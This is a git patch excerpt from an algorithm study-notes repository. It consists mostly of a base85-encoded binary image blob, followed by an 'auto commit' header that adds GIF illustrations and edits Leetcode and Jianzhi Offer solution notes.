zBSRHseYInf1Q-MWfc=|rcq4!Y#KGslueS++-UT%1_%!pVH6Ca-F|)?J_&RTlpmwxo
zenNvkPRe?qF+cI$3%rUSpH@LqQ;3LRhFMcVa?2~i_2y`;!j!fsIfvPSroz+@aYPS#
ze(j>PjzrB6vCGXx>7P>d6SZTsUuS&IG%2(mY<`{Dooi9&$FEbI)mv!!DdTcWadv+R
zX{<R$rzB^v!ewQ4u%#sTOEnqBAfQ{CH&W-rcG$eNG=J<JMNlVJx2#~IC0y#xP^+mO
zl8)s7O-@9`-2;hLlB*o1)p#(*TyJr%xa#J~bVNvmrjMzE4ken4TWq)~!+8@e<%S6u
z7#zjMTuWUXb`S7i#{ox71nZvh6xQwffAMvL1aPt7%<}SyuZfKGHZ&5=g8dl-{i%bC
z7J}~XID!&^9>u8H?#9R_4Ga;n;=~#hyEIVao@kjzv#-M%!QgMt<N-Eg&qPLb;C<v8
z$lDV{HxksIOk~_ALL3%h8}4=^9@oUzI2}KjSHr|CgI6JQNfUUGt@7U2VeA2{b<Yzm
zhG`<a1fa$;u~U}9IQx7V!YD%+9`d;nro{@|_sD|wl7~Pgh8^pq(ooXki?t#QW>kQY
zRfgaPXNN0jJ0;4IuQ)NbqG2#LYD6-TiO?+qf52HT!gy4b1Yx>JFAYJ;N-xr&Qayy^
zh_saQ4kU9Ag-qUMw-5tR7)$Dm2$LmVAC)g=`UOUKv<RS}dVm{|pi8|7XOyN!20i+S
zi^+#E-M`|@BAr)*#9~%ysAD4SX^%V7tryBzm1&ufV`g|78P#JkPQp1}YKIA^&Iy+=
zS7KCB(Q5b_Y9&**TO923edQ3SJVpEo%!vk&*&@9b8gNI9uE3sX%V}3NeD<GnLVUh3
zmKgV07*dbA+auw`A<+MgNZ^fF6q)68REA2qL;w!lD2dfXMnd}v3QHo@K=@PvUfTVW
z)(1nRwMpVI_GZj?^2>9i4EWix4O%{mZ8h^VlPan%nqQo%%*f3wv0ld1p0@&Jl%u%q
zLgCWk(mBw_q)0Na6cyrv(Qlt`Jto~li^1Sb%>WjoKpN7;8DC?YSoAzOTj(sw;xUGV
zuY>YcaziE^N&>Bs+cNr&Zc?<zHMHL2QFf1G%<)wBC)%yVWJ@8*c7{d-0}Khh1wd?M
z35tDv7#m`ph)mC{{bQ72OyS&cNCf{}jTLRbgD>m&rC?*3{&^BMlvfVM-l>1305g8d
z?S9)eTNtYRYEK-2assU>3gy9bBk-hD9vl3<5&vNy3tD`FyoD2tj`EU^N=8#`*pFN2
zeQy`U(1}y;F_35|qRam8j#L;=>E$e$&aC>!Bz7LNLAc|23UfQ^`0jWJ71MU!gV{n0
zk6r8$VJE@pY~JZyR}f(F)@%?nSJmXg2_S5#0KMswzeOk7%~%A3?l~M_sVk_aM9W|0
z(|Jw`5LC6rzf<U23Up~r6j*P3cXDg#1(`7kkJ4&9&9hAL(M>wQ)zql2upC4QNIEF2
z)uerKIXJvENocBzjBr^Fp)w|mXlON`Jx68}2r?19(A0eHz&k-^%VhD}WesO8=0gy8
zvgG}y7W1v;SG0pfh+c#?489WH2)_k2@5Q2UQW5Q{lY|*d9kJ14kiym!k!M=1fsQl)
z)}A7F%9MQbNqqzwmnv7L)n-k<6e+CfrZlDX!L@HC_WN!<5#r^mZRc(XU8+wdqAs3A
zg@#1%DW}q*o7>&2X}~APDNJsJJEzHN0<JAhT{hC-@p54}j6zhC*ZvrMtCKqEnGC^L
zKtsxll31RnsUFhoc-3c=C@?RiQN{f+XlON6L~UA~ed|-g+oCY3=N4!DT|Y&yIi&tv
z6*auf)9H{?lx+BT#-KmKs9WNArjV1ErW(C*hCpYAxJ0H_N#Ezi$LF(oIWkW@q`wes
zd_LJKdrrN#&p0>CFvImtnpwPdH!XHG%cUXX>XGK|s(Z`1{teR>vbBZ<>Rk!<?@pdS
za;M|1g0rRF<*zr6pEITL$Q05Iir+r5-AjGem6zDIt7#?Q5A9?=|N7O<yLXPR_0isP
z3KmXe-93J~^Ydx;^a>}58}i%z{_ypJx;9OFhlgf4LhIMwe4a+~Pymz<HGR8tMul;r
zK|uX;@;=MX%&I$|rX|Or*bSN?)3M91&fy`P1PKkNhnF30awT$$002@6SSv3oqsIaO
zyq$c8d%TSA2N8x;vVh}yk`~Tu!jaJc+Qp)ZsV-YfmI46d-6=csb{V@5JLoRa;Ji=B
zPwaWjF|r2%c5}jyljxD>x9|XGSf20gM?ImZZ`8@Flgnc-UI{)&q^YReJDqRsp9l*@
z@QNri2mt_hwNV_LN@KJnP9BTeY`tkr+6_dBllj+868R`J-$R(2g+fH6<@=S0pvqf-
zNCYg}vfu@T0w6nklSNbRMVJJ1FcZlDs+6Sly?09c($+_Ib232xaKf*6zWtCBIr8Y4
zSsg(<1lo8<OUlBHwKTku`%F=SM*Xz^E)HO%NNb5+o;AOs0EDT1^W-MFuLbsXH>Tue
z=v?f$pkta+Xna2Vh%1yHj)w?t+=D<Zl6M|#_Yd#Nr1KNqR_Oablow|L%$Nmd?}w0Z
zW+E#?o=u3trA))X;-c)GkIdlV&ZI0!%PTLs^X?2I-YrG4Eb{P@M%#E!;NoHL4MMws
z5!@-cI0qYE+yK7)K(TDv?$t=U$BBL&am7Ri1@d)2o#MBw+{d8;i;1bHl@i&CNd{8U
zn3E0<p#rz>HR`z9slFN*_n(y2I0TFvKxh!Z80l8Q17zm=!(%KmvRZaA*VC#)ryzHv
z5Z8#LE#{acwJUQSL3($R?LrY4{nGn){f0ds0dwfGO*Pq*7P<YVX-p3wOwEB9<;2J1
z2VWlVzbSQ>lMKKQk)1SB^?EEELJ`7^m6L~_8sr()FTOfebC#oe<Grq8rc<iV(8%nj
zFS#lw>Bx^;dZ#{jp1twi`tBQ5bC&L&mXlINw=?Dsxo;QDo;*-_A@keQrxC+kP8(R!
zlO``%g2rDtZMNnHtUTSNf9#`qDzkInx8Co5Kfa#5wLSb}+DxLlXHl_!%R-`hQ_$l{
zxnXR<#TQxIywIOn%};k<7(DGudGhkzgHPTjk>~BazCQ(ea8MVEb&ZRg-A~Zr7wK^(
zj6G!kCGu4cw}Rttsps8FoZQAsoO#fXCX66rrS9TA?vfksN2c9q-_H_EJY+W9yWuV$
zU!Rlh@i<}WF5L47K>)UmJk?!1HN!o%H9bcUxv8dk>f@eirRk`LT|6uD%mnvL*YdKm
zh^OhsvvWP3`_NuD!adKsT)G+VrRHOH*@v5Z(Tjxhz9;AHXyR?329ZIUIhT4rD)oNg
zgXL-Wc9-*U>G6sTvfuRy_wh3!;q!e0H+-J@U@3CGzLq{=F23R6zLBNA(LKJg8@^PW
zUxJ)pl8Il6i(gu}Uq-24R*zrKhF>1ezd+8v$i%<c#lJM%zr57Hvd6z_!=Hu=sFe$-
zHwk#_642<Qaf}SX;jirPfZ(VQv+#h3aR|x+U?V)|SprZrsm^J=E)$>^$I6m-?!?OT
zV)no>H0y*9Fy#{%nH1O;j-B5KT=dae)(o6<d9maIjLN;h8NAprdA?g3xNkoN_CRa1
zF>pJa5>`Y(^-`F%v@kPRw0uyAQ4qg<5RO}mrwPl~8}wo|h!-1tpjY!?*>lzh!GWQ{
ztEIu>O}m<s+!O+Lh@W%_*VSMdUrjkHtU_6cS7!*vQV3B?^RyOL)il)IF_bMRRGUsy
zR}`za8Ty3%CHCk`qb3bwI;=^=OV^^8EFCY+eKjm*FxTY6oQ=Ym?87WYHLRO3Hoak_
z)i4I^t9udZj_DZZ2d}P%zM{*2^=MP=i7$rC9e!Rq9AyyhC9mpZh4Cv3XYCAMKNmuY
z2t&|O<h3GR&V;>6f3Z*+aiuqcaWjId6_&sqlw=wiw)rB~>O}^(M(~V8<YwgK2a%le
zQAMKR#brUI5mDY{QTX1ds-|$7X>hH4bdYJZSVUx_X;hYcWKM6iF?$qjDg5ID$xcyB
z*Y1OujNllLd(i{(vO{GtBUVCVbg>hn(o;>*GZE1rd?P!0V}}c4mqg>TRpQn}RW~By
zutjk@@^Q_Z!CyDy?v2I4#bP1aAuv~}@^va>Ml4-q1j81UYmCb7ca+mLemXdw$6AuF
zFFt)a9&a6soei0mPZ-^wAfj+UtUO`=#{|j9ghL9U!aRvFkVF|VUb)CbS%pMR(?q36
zZbhD?$fHTBe%$J=Nnt@r+S=T@eM!MfN&58M=M<6y4U&zUaVC+;e)-8}emL{3WG`&W
zHErCDiz)8*DVFp&>++N*9VxcWTqK@U*Q2S9eq7G3sm?*EuG(CW`cm&LrIP8ncHI@y
zYz@-9nmK(U)2#E;0{l1wx6*E5(}T4+LocRZvriAF=Zq{*H}6P~ZRVizWL%67<RWFH
zMP_7_XJnOUOdG`|HK*)a0!0@yi(NBIBQwjj?ecgs?PgzChkLQjX4;iYymifLjLd2-
z&uZlHt#9TE#bu+{vpO$kce!TwL}vGuXAksc4{c=+^W=;w<cw=)=Xn6=;mc<cu!+wY
z0_F7l#T<vD5V<e_MX=x`YqL{<1H)OU5y-$KblHz<T?{HsfbqTsB#Cggu3Ri6k6tnF
zzT0(9qDG4Y<k2<2^A=>e16cRF(pfKzqT~oI9)+|B)9dH6@^WGHcds&AK#mhNn5g+1
z9I&6xJUsomT^o)}q`L=!e4EajOXUUDZh87%w$TI_lRsaUI&AscwT|o8Q2oFVBA;yy
zP|+!}R)!y?K(M4-Bp%AhKuS}E7bgJhnMHtxhRiSt(77s>`P%mCVGbR*3<ieID`sk;
z`?lpEnNrNGh_Ul8MiZd-6iXnO;xsr6p;-JQ5^`1;7Ju!UbxVF}0l*35(Gj7%NQi<<
z>CL0XND|M3%)IN{1*awjSLt8#P)d7Q0XQCtnS&B2C2kDmRyD%(>yC%;n65QP8>3t-
z24Fi4=O*RyK7<wOz`G^^Q~!!<$}j>{lKnJ%>b3!Fmk660DLS^OtxACPUn;ggfKeq>
zwLh$yj;flisQTJpwXj{a$XmUvSiO3wdhKELMpX4yMfFa9_3m~xz(<2B(coq@<Rcn7
znnqtqV;rC{@6a%OHLOZC>}EBbk7{rO3J}OIu?=Yib+-6XKnmc36a(JJ+Kz#`d}wy3
zsi_HtLjCyhgMoozeSJMACkG0JV%gYPu&f+h+&FF?|KQkj#+Rd$^82SY2d1~K+_<Z)
ztvxg}G%&Nn%gfs_xdmEEXADe0XN!@Exo>(035TK(@Zh%f92W+FLtPey=$~AVO3b@_
z%^C`*A>eQr4C)&cQ<?PQnvn*Em5qssNlQy>|Ni|@7<{NBb!c`A0)?J1uyKv+fI=Y@
zlYM=oJtzbO4(EkBRa<Aw@9gZbv2$RttSlJp%b0Wmfq+J%2SBfDc86qsQrfvXe{j|2
zC{pxEL(kM!WuRs^_#2k{B5&kE_MPdS-frny=%3jc8f{g!^nK`b`{U#ml<42vU%Rof
zapi{1(CjK4ZZb66*_{7M#_3Jy`}NN5>8g&|f#&?1r}$m-$AlT^9c7X3HQ$G3w%9qj
zn3!2|b8|m-P4!G{aB$&rA1l+L;Cgh(_tV=fEG)efYeTd19;&Fp>2)NMuPf8BZ+aUJ
zHAcd@Zzpv9GCuzG_-{G^&}@RC|CmioP?LXbHhI&5X47W=UuIMANaHI4s(8<AlD$65
z?z?9;E%3P#ew$6!2b+yjK7wWw{oQ7xUuKixx$MYaW)oWpD*`l|F667UWnA87pVuoU
zjcqw*8iHn%_{`gS&}`CpL-;{2V1`}Psr6y2kZyHICpJ(DkJ&~WTpe%G7WN(p#}wYC
zMyhb_=$5BUe}aga_2`$sHtvi+Z-*HzU(@KxzdN_<|8RNXOY}n&+MK;~skzoy@x=R`
zgvF7-c-c7HCHe1jQrXwP?3T-}e-nDW>#;AFPiAwa@lE2Dvj$4r>&%07aYvr+Zf~u1
zk9~Oh<kZil-5=|h$xvGj3%Bk=-ox&UGSkBz7<G{mPj+L=k!QGDX(L{I&eJ2_crTGr
zpMznRqrM_3X`_DP#nYqygtsDN0n%NTW6$L#)5Zdo)~3f^5Rsze6je^E@gPm1^zmR_
znVInreRa`^P$OfjiI*m~(kH^qoM$FpS$K&~hTjOYnvAeaNuP|gDV~{(BE1!zigxU>
znu>9mOrMH<v^FypM@EWGQ$0DYr{jHuGNuy(WM-!mDe7V~NukEpGs%X`!%&DyC9x)z
z>LoUtmgGkd!#dmKPXTb!q6%y`@2%KeR#BJsVGJLRM9Y8|QEOl{<l(P*^_)6cNag9~
zOsLoZwx+OM{qTHIr*=yNw0X8E1Inz4r<DwQ9bPCM_fv!vS6J%+B|~9z3l)<I6*eV{
zUE2#~y_01UZ`Rg$?W$ZB`g5w`V^KL(bIUq;)yNNui?wSqS&|hPDe-Uh^cNU&>(Pc;
z_HX!5(TjEaUhyu+K)e0l(TjIlsPJ>b0+t&Wo%g@vlWoVqSWQ+R7Q~2FABORp9*lp+
zYVLDYxt{BO^wBb@0A+RTmGKc2TE}Ccs8OKq4jiYkgGC}w+MRIdUi6}RpvkKS#jV6o
zHn{@w!+9Dk`~;@^?J>&zQILK67Kc5DP!2y<OV3gvh~6_Ud2lvQMMgUgtFIOf9D>nQ
zBuCJ7-Q`m5(5py#QB`{{b~~;oYa?Sh%C)?Pv>>M`y{G2O)fw-eug#C`ww4T3hRi9(
zJVw2!7=OENTfC6Pduk`TLHOtV%02ZXC%)TXj8j@8S%2GEu6DQtg^$0o+ufW_eOg5~
z%vNp7$5?;l=gw-k-P0d7MfoM$bgSQf{sb7Q0IH|@hw=v|v?dkG)ks4sEV|LJLgMI&
zHS`x3-Epl{qy(Bw{%t4k5$*v<xDNp3ZwLoM3j`a8w>{K>U<2_6rZ9d%(MOIPp`)V*
zxdl?q()K=xIs@ZNeG_0}1Av1YjzAohk|mKyU|ItXZs6!6kTDDlj7i;VAXGq#49xDp
z;owyWEGrut2^*RnOmk8O5m-CE`PxkxaHxViSHs|l!RZYo0?N+L5pONV%*;YhPcI-K
z0EIx3x>kpJK0(DCQ~NfCT4DhRv^Gd<s3q=p+B~~KB8Xua42D9Xbqy{ck;u{>kc+U`
zy8``_8-BqtR+rU5?t<70H9|j#@0RoJ?48;+yJlTjSg31Y(l@!z$jDSsP*7P}$-u~j
zf<p&qwh&OR-pQFW;e%)dlnx1l0sy=GBM^8fG#%MH*x>vn43^E(*7@R<+kKN8*KU&<
z8yh(|I6%U|q{-@N1Og6&Kp>TgVJA)-nm<jCzoU#sz%=NPN!{zoaS=_C=Rx@WHx2WD
z{n&qS0{<(*WrgQ~aSHFBIOX|1!wf!`y*MQ&dgkcwI7K0;X@&Y8j8nY6YK11ZgK>(a
z_(dZyPLYdXeFnxUTInaUtq1+EhtK9%)SX<_Hq7eHyKy`Aa^~@Q?P5}V`FZXV+mB_U
z^RrBTTuJKg4`B{p`?1NVYkYWFC3j@6UaR*P-1o%nLcvWp+%YpM<9fkFD;I@iK4*Gt
zx+6*Fi29(Z6HtdXz2MBmn`cvzb48ZZMUk{HL=)U)){7ol9IbyLh{}1iIY0T{ROQ7<
zR|Ti$u3X{wIhP6R3lFPzJ>H#psC0X2@=~VW(<<rh^~JH4xU<z&Kejhk=DvKWt_J4|
zQe>D6=d>JlLkp$-*AnjB4I1Ntb{g#u;q;o`q7fKkA_Ub4ctHOUPD_aH?v1hu$iXyw
zB>WHI<b`?AY4U=v=ne+G1^y6DVH)<px@-zUr%E6Le+Z`_n&8^pn3@>oJS&<UE|wvh
z82!ZBIyFA0cRDe(*wrdwHzRCzHY;7Sd^W4JOJO#<v^?WZKvY5BTzYja?rUB)=k{oR
zV`N5_f2+*gOreB&zZK%1$Wau(8i^vFRorZCg*Y0jufnHZ8l-}*cdy7SeL1^`WR@Y>
z!}%^-w%exAg2l3uWyeQ6t6VD=;q2RfeMfR*B;yfm(D3$p&XZIMDeI@}#To(g9g2I&
z`|=7x<yfqKEz%|Lp?xX$1?$uN&YmL>bd{e?R&|_Td@UDmt8Qjn%jj1tmiy#<6$VZd
zS}p2ub^mgb(hcRBPQzT9W8=<HYhJRX{?VH5D|7v;jc0WZi@p}Wct<9UsB(C<?`6W9
zgg%mnSc#uww*<{*P;~OL>=%(OCfQ+O`YM?bAs$<q(L-XA5@QFKwcbKQFW7EQgx?N)
zz<#$x1cBuY=%7s}y|Ue!NsE*8L@SFhCUOWm>OX@Ob=z*wmreyLa`FQPV;n&EQ8jK>
zcDtRWM&VqgWtD+a<hj4qSG6F0ya21ep$|w0kUk)KKmdV43j^ww-vDA}!8{=QfrH)Q
zfd@z*5Ix}R1yS`YwV&Ooo7jZv#_FOFLmep~2!>`SKu8TtZuEUfmWRVZh?rfqx?}&a
zGRPv-LJI`SIa^y491rNmg2(`M5y%LT4*k>HAP)S3V?mNQKlTD~&@j2hhlJ}O5#ZP#
zoZbQ_{O!BWST?px7M9G+%;2a8X%=dI3Wb0T^}YvjcG5aO;r(|60!j4@21iWjdHR1a
zX#VxmzfRykoxne#j~YM+hWReP!~Daxd|LM`8o@AMPrT_|V)HA)+2ZI21du-LR<qKe
zzB(JA=(NjcEtRI9plQgH98qM|m@E~eJ&%4p(U~cq8CKuSk<gWWxlVFN`&^bufnb}L
zT8n|ig<{FUYtNz#7R<`g^X3gv7jliNj{i_VWa*O(YY|NQ)LRXY8oYhZ|I<@kfBAZI
znD;qm%7bH*?@!2jF#mYq*zqyts-GUe!|}OSIady=Nn8?|@55god;j>M?B}5>iCN|+
zSh=OK#*o8T-dC2bOtmNK#Ob{$|324Kc<0OeHx=vOhQTm@-`T3l%@u0~3XWFw<~MzA
zS9<_!P}Dhm&ma0UdO+4LdtYHD5U79X!#qm?+}8Q2WCk%^>K}c@f0A(3t!pF|fU}~h
zfAp1vpJu!pX9613SLGstzMms3uLlx`O0Pc?PQi@_9SzhRf1xQOfAG1QjOawjp)Sj$
zP>plFi7!nKq#trRY2JG?@QNPSWVmve=wO6paQeYe-AP<M`g9{vIn2(O`w->055WV$
zF%WSp_R@l{Am-$bMLnI{sC;6qeN|cwRw#5BLUo6x-*U7WN>j$FI1*tgfy-#2SMq&C
z2$GAUFr8TNOx;y5GsjwcI^Anh^G;%Jq_t26aUn82DsNQma6oNXc~ZEXQ2$(kMh*?a
zpf|L2C+BWesi<Sjt<3D#cc63Gfy4L27D~l!x6MkXbJB7gz7`**RkStqOTKCC^_Q$_
znNgIiZr+@epfyF{++k?pti@VJ*;WF2;&gW{AcE<jHQ;V%ExqNl8>nO8zQI)o@QPb3
zH;JTXEjJ&2ny1{@Gf2ZQV>@kD+T^CPq~0?j;Qwxt2|%QPhkrN3e|NUH!R`w<$HBT(
zP*9MUmlxRM0!=Ri0|P#Oe$YPy@9A;eyr81k+}s=;9Zk!x-nU;+Th9m_=*N#AcXV_F
z1;*!*Wj;Q>l#~>|#_ynh2r&Zh!}Y-7-q6qh;sKod{QUf_t*sy@G<6N+PzYaNUr;ve
zX$B`JC(v(8%q+7YBET-!!1OlA6_2bhy;EbUsi}B8etLSkIU}$(!Yb<hx}l*V|2}+h
zFgUgKnxjo&pq`nWe;rL~Zf@R_E1+%xB>^`t-`lruiK_RE1W=%#$9LWl4%L&Dl^qxu
z0BHpB02Bb7UzR{m3l7oiei!$j-sb;$;s56o0Eal_FO%$7Ba4K`>|;Fer;&xdz-Rfp
zk%h#D<A{G6S$tG{jXDKvWU>2DYuwp6@9j0RVs$Q7MQatM)kZSpn3?P~vf_*})<qeg
z-85y<J$sF;YCWe1uWdTAu71iuC_1P0mh9`uiODRM7^o1K_&7NCS#qeF;rlZGSFXGf
zip*<fbF+=S>wr7gr@K2nq#I3lL@(?<<aW5&7WK_}tu@Trvc*^Htjyy`2kR=O$W@mD
zF2}io#2Rb+;D$QyzAU@Cw!xR0SPm8U4WyoN>2&v<XBKV;1e=#Xx5ZQ+dhg`@oELw3
z*DUVNrESw`>)W9i?2|{6!;{(fzBQZg*nPDfyAbo?b=7wH;>`Uas9(p#m&fA>kzw7P
zyH0qAO^HUl>zxxmah}@-rD3enp|lGRaFfaL*4IRF*USWidpLZAWjd+1#fxz!eqy#9
zi2-zPe0rbD2_z-nP+Bu-e-RKNGHxK<1x|A5L+PWzx~y8^LAqO(hK%et_Dr&yuTJTk
zPEcf&E&iBfcO>zX;U*D8+FvG_{B38Fn4>%7FO$rYsxH?qtb&mK%Os;nf+kt`t&EwJ
zXy@6PKPFk2^=x`tO2%wPR`Kj?=AKFR3TZKyT{@XDms2@QZ=L(gB+ISkypxqp?V{DA
z71&8%3ybxR*3$VsQBY<k3=acEAF39~?5t#k8W`L$Pom`QEgA$la#1IzY&xaFwjwt0
z(n8r1GE=f*w94PE>dk_VUFupb10fH({_tB3`a@=34db`Syb1;l@%%b=6`P|uY~6F;
z-j+M-F22J%1mwTtcx98>7|pq3*CcK?ThLtcHfyF;8fD>-BKN6MD&<7x&PuX!-J|73
zQHIBkEeE$Ni(1bdZnJxP#6zhlS?$t~)iwj(6UUo*9-bh4((?a7`pkRfjb)dWU7JJq
z#i!35d+c8@IrTcl#S|*Nw*^~f{r4QK$qZUbn3@qE;hc@pfFrgI*n^(d0KG(B-p7gX
zC{I<6AP;LA(Z~|NwI?BxLwGQMPm{*KGo--&FNhKl86ZtSSS&6sf)D`#0TKix1qcWb
zA0Q(@=y3f`V1$H(`1k}slz@BzqZrVi0^#EB8v>FAjA9&JJx-iB;o;!{P9jh$fD!_<
zX+V^q;1G~00%!yZ0f0bZH;4koMt45>*|TS0T*HOqSy@@3qoZ3`SlF|%zJ2@FJ-Mx<
zqy#FBvayZY+S=05jj*t=G<yaxkO3eNcXxLT1~WLbvlrLwMK|^J^*!Tj8af6UU?Mrb
z0fMP#YDY==+SPMv000@9eIH<UKt)9bi^YN}1+>P7hTo;VB&(~db8>Qm%mQN^#|Iu@
zp2K%O0qi=1Ne-Cjfb~#MPtUcrHAY58FSY$OH8pkx%SagRdSGcwOUqL)%FyJ5si~<&
z((KUW;Jy29tZeLVZf>CL0mToP4ymcBA)so3fq_HApIKR1pPt?C>goy#9x&kn*%xJY
zKrOgWTwEM9#W>EzfC7n|hY!?Xj~_qA;cz5rv^#Az=Me)$JE~-Kt-GUbX!t$BsrJLf
z78v-X<W{N%^&#Ql-!;)c{>f8|u6KF|%z4~=LK;RlMMXsq95@hab|5Yy#OL+&FURm-
zkH0yA|45U)elO3X5bB?PuO-&2ey`sfJOZb~ocq)7#USw_zx%xhg;h1r#qafdIs7z*
z-h+me(B}wrlh<Cq_k4yhz4}YA-^-Eko*4)C+3WY-JZ=%w`x@-`Ua3on(UG0+D{)zo
zd=3=nTq(CMoaNUwxiL`f(}uit3GDZJd9&$o=56Fpv>*k~s+(~a-foGM-JahmlOAbL
zfP6XLrf_7o(^9J>w(a|In}$rQIb-W>8PnbhkEceCNyJ-K_vXrLmg}1$&mP=`a_J3@
z#N#~Mar=6rY(k};sqYfGuUcxYmVe63JZnOO`(OkdZN8lhYw*>eNZ&md;`M2IU=9&Z
zVLeJFs-R^XHR4Qy0#0j-Lgn0{d}nrq!^t>KN0f*l8F1%EOS%tS(N(>V5PTqg?b)+{
zn{qe-f%?73<$6H8<Me(sf7gDEdrunnYtx13AK)iTPQFC&@00!$xu6WQ^2Q$GTRRXG
z$NBwgbYkNq0as0-O=AWWhWaORAy~!>GCeBFYw&rZ^${g>Wt;%JeKWEwR^U7tgXXx=
zNu;?$ZyZ2}EAG%uKXcEy;KhxHLp&3pN3Fl$PHkXLqdj_P*OGC|dG7m;VTkSSyH8ii
zwJ-5z*Tf=16SVnp$86TcVja&PsLiXVx4)57j+~lR28Drn0aPZcudqEwINP$*_|o9(
zsGFJDqyfFj`I3rfhkHxMKi;yvHl5PnR~}M4y--ZsayG752}6F%U!LS0xDa*&zes~~
z*(}x|O0a3wv+9fP2#kjKQa$?x-6aMrzGcydjd6JC9o}1fx$)rBfp2dM^RLpH#Y?^}
zw-Da7E<;2Z)+a$p@by-k()!nx4@9uv+pfxWceO)PID7S@uI&8kCw&cx@0~^$?tcGl
zay$Ebm)ZUK@7)&O5^Fs-Ufo^mwM@-k>$54DU+X8mlUN^c?7q7`=rWbPzB}}2eSZB5
z86~+f?8#-j@rNd|3man;sRbGorld~<!f)qnPDbCaDuXf+hz>&`7oL<&rKRpZm`)tK
zTt1QUE>>YWVeZG)Ou<x+{CxJ8#}x~->+dV(L+b=87wSUHl@{K;i>;h%k&WA4snR&|
zW+jWwZtHtbch1h*z=zl$>u<fk$$xkLX}h~Qroytj6`gpcWNR^Z;m!6$cU;+y<EPx}
z#re#k?OiTlx2^5zPbumEChZjB?Q^&94)_5)`V?K&bN9JIYCpm9BvbKokC7F8Ke6!y
zHs`r#w^V$ezQ_rVl;_Xd9QOBFxF~VQKKH6AjPE6(mH5M+ds{U!SZrl!(4h48PgD<5
zS(=dbGyM5awRDHsSa1zUJp)@L;WT|c0nY3K_Inu<aqn>I2R!51$n8;(b7a^N&0(<L
zo5(k%`A+^G1SQlH1p)NoTxP?6^?Q}esdf(o%v3>A{ae}LmyTokyRyR`c|p$ZX*7_w
zAcZ?RIzS}_V)xdqTOg4^^6udn<S(f2xOsT<^Yg)a0tjDFoq^<4I;9GFXCRJCYdcCy
zOF;^Q@C6YJjyjOMAb@@wcH1}{H;BtU>VaU|gDi+41qB5#Jp!={5+~yeSP&QlnVWEj
z35@`{CbvPz%6T@KL=BhJw9n7agNhGi>jP^&uqE;J>sOHD^eA}4=o*~!QD$Z)$IWy)
z#4j}C=}{n;Ik|A|)hi%sK`0|Q9?HwhhZ-{KiK4l<xIol~hlhi>mse6QDJikHw`Z5X
z^PzVcyiWi*OQX@AWekC|)d}iI3wvN~ZEb993_?~~RuLdvHVEke?;KQBRjqXQ4YZ|z
zIDYcviI|ue2-EZX=;|Ubk;!BVg%aKQotj?U*474U%&xvUP~N_%Urk6zPz~yZKybps
z!g};*u!sS+NI)a9Z)*FJs#;lD87M-LNK|c*c2ZJOWA{o|-xv~(e;q?HwDpEVWrjL(
z_R%4`CbqykldkG8@ZJUtp?E<6bKH6G-~kG*G4!S6Is+YuT_scdqN1Xg=7L};1GF*+
z`Wo&lGN9prTj9jNK>Ux%3+g!gYx|`z$Np^AaJPu3Y5uiYqm}3WjE(i$pUoO!o`4&B
zn>CNiqZd6q_BLxW*qIP9%D*;ioM!a}JWpEgZPr{qt~6-+`qyR+H}ia+GI?*ahWCPa
zXA!tr^Rm2HVz8P#7dWT`Zq@`ph8;%Qy!tu<Zq}3(5!~iSTki4d47HY#uC-DTmJ7P&
zj=dk^kGzm+D|b5Ena+{xe5OK1t0$kErMRtPU1gwb=Kb24$_?Uhjnp@p_tA38<0Nm{
zI7w3^J1a7-?u5#uej34xu&a}*H<Xvg?nbjXrPq7Rf+sOJKp$$!$oRRXW$s8cF~A3V
zyfQ!5*_NpQ&Z<_r-v=v|m)GO6t>)8(74>O9O?L!;8tMiOAJ!Dqby?P8XF3@k=P44a
zcA8Jn2VYBnNE4y~dAZ3E&Oj+z^5I#JaJk?|Jhyt9X+Qh#vICtqon*OOE!vMVYHlH|
z>!!_<p634Lg|hP|g%R)hyX-&*<-H@lnSf4~K6=x_H~gNquwL45;&t=MG7My|?C``u
z&7bom1S)9UiS9d~y5m+C<Eq{l!f)b(N72jI69I2W{REXml0Bq4<}jkzOu7g+#uF{l
z8J|wv<<mRneJ}`!ZxXt{cvUQ;(%7*96O9g{-SC6nsy$?M;~13daZlNu-1gJs8Z333
z^;f-lzjh#m%zf@(D;gG41x|M(QCCZ+Gd{;YZ*Oz5EngHcvbFv8_Rf*4x#H~$Z`R)`
z+S%-^MJ-gPBg9FiaPM1-H622XeYK41vw0<E>W{wFUmCT_uMQmvs`*3S7tswRyezuC
zh(F}zTY<}4MIS4dWTLLT-y`pw*;3o|<OuCA@;)yTn8Pw1q5dZCnD&1Sc{L<A$Nxk@
zzsb9>IYsrB{G;R2QggOuvq~1W=JMW2Zh!p~1?6lnRIV><f1{y}>@3!E?L|R5%dN8C
zc2?Roj{I2dykPg^d(Z9MA8P~mzx`Mr_CB(^;kZwq2Cy8&(6+voeB0e#tk?&Ep>g_^
zo70*5e(vtHoUQ&*Uw36|OM|%EmiuH~@e9DvNc_2<K&J1!0uy#20?cR0tkHPb;c(iH
z6~+DM+%WW%36c49yT?KCtLU?Gwd_2kXIueP20F`HTms2!J2QTf;8VwSvfb;G#MgM3
zM5zilJ@$zLqX5f`jjDrCJ6~O!IJT##29X>)zpBgxj{F`)3H2cV%9R6bHKmG21%d*~
zr4lh6;flxCD9=kB1er%%6y@Jj0*eb18J0{GPoz*@6s-u-LF5&cpHL_TQb|ZGx1yT+
zqPJRQJO_-X*&|=z_VUr-Az5^tCUVI?#wY;`?%U{}G;q7PNEQP(YmCd6UuF-ui>AAr
zL|P1om9{4T+N`;}WdTswZ?=1B=~59ZzVw<Y$6htH-cneJXldnH%2RK%-fD9B6}atk
hoVj}ACjP#aqb1((`n{VsZH??StZo5{|F69N{|AxymOuai

literal 0
HcmV?d00001


From c935136c41ea1ab890e8a21ebc59ba5a7483f227 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 20:32:36 +0800
Subject: [PATCH 045/100] auto commit

---
 docs/notes/Leetcode 题解.md                     |   1 -
 .../_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif    | Bin 0 -> 13312 bytes
 .../pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif    | Bin 0 -> 20480 bytes
 docs/notes/剑指 offer 题解.md                   |   6 ++++--
 .../_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif    | Bin 0 -> 13312 bytes
 docs/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif   | Bin 0 -> 20480 bytes
 6 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 docs/notes/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif
 create mode 100644 docs/notes/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif
